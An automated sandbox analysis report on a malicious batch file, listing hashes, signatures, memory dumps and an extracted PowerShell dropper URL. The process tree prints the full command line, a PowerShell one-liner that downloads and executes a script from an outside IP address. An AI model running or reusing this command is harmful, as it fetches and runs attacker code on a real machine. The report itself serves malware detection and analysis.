Analysis

  • max time kernel
    146s
  • max time network
    89s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12-07-2020 22:10

General

  • Target

    f012b64a4c409c683d9fb217954bb81e.bat

  • Size

    220B

  • MD5

    3630e6bfeceaf5ae9f0fe776b8146e0b

  • SHA1

    233dfd6ce74130dd5c4fea4cfde910b51544c5fd

  • SHA256

    4af01116ea53d684aab434e8d65d4fd28822df7f13ada9a7a0a80c8f188fdf9e

  • SHA512

    677811903d0bb197ccd3a66b02c1b5c14cd9956cc7668fa8ead565b25941ba3531bc00b6aebbdfc8a3a600bd318f0c1e5fe80c7f421243c6f3c068f81b7ef62a

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/f012b64a4c409c683d9fb217954bb81e

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f012b64a4c409c683d9fb217954bb81e.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f012b64a4c409c683d9fb217954bb81e');Invoke-CSLQTFNOIPZFU;Start-Sleep -s 10000"
      2⤵
        PID:516
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 516 -s 704
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:920

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/516-0-0x0000000000000000-mapping.dmp
    • memory/516-2-0x0000000000000000-mapping.dmp
    • memory/516-3-0x0000000000000000-mapping.dmp
    • memory/516-5-0x0000000000000000-mapping.dmp
    • memory/516-4-0x0000000000000000-mapping.dmp
    • memory/516-6-0x0000000000000000-mapping.dmp
    • memory/516-7-0x0000000000000000-mapping.dmp
    • memory/920-1-0x0000000004B90000-0x0000000004B91000-memory.dmp
      Filesize

      4KB

    • memory/920-8-0x00000000051C0000-0x00000000051C1000-memory.dmp
      Filesize

      4KB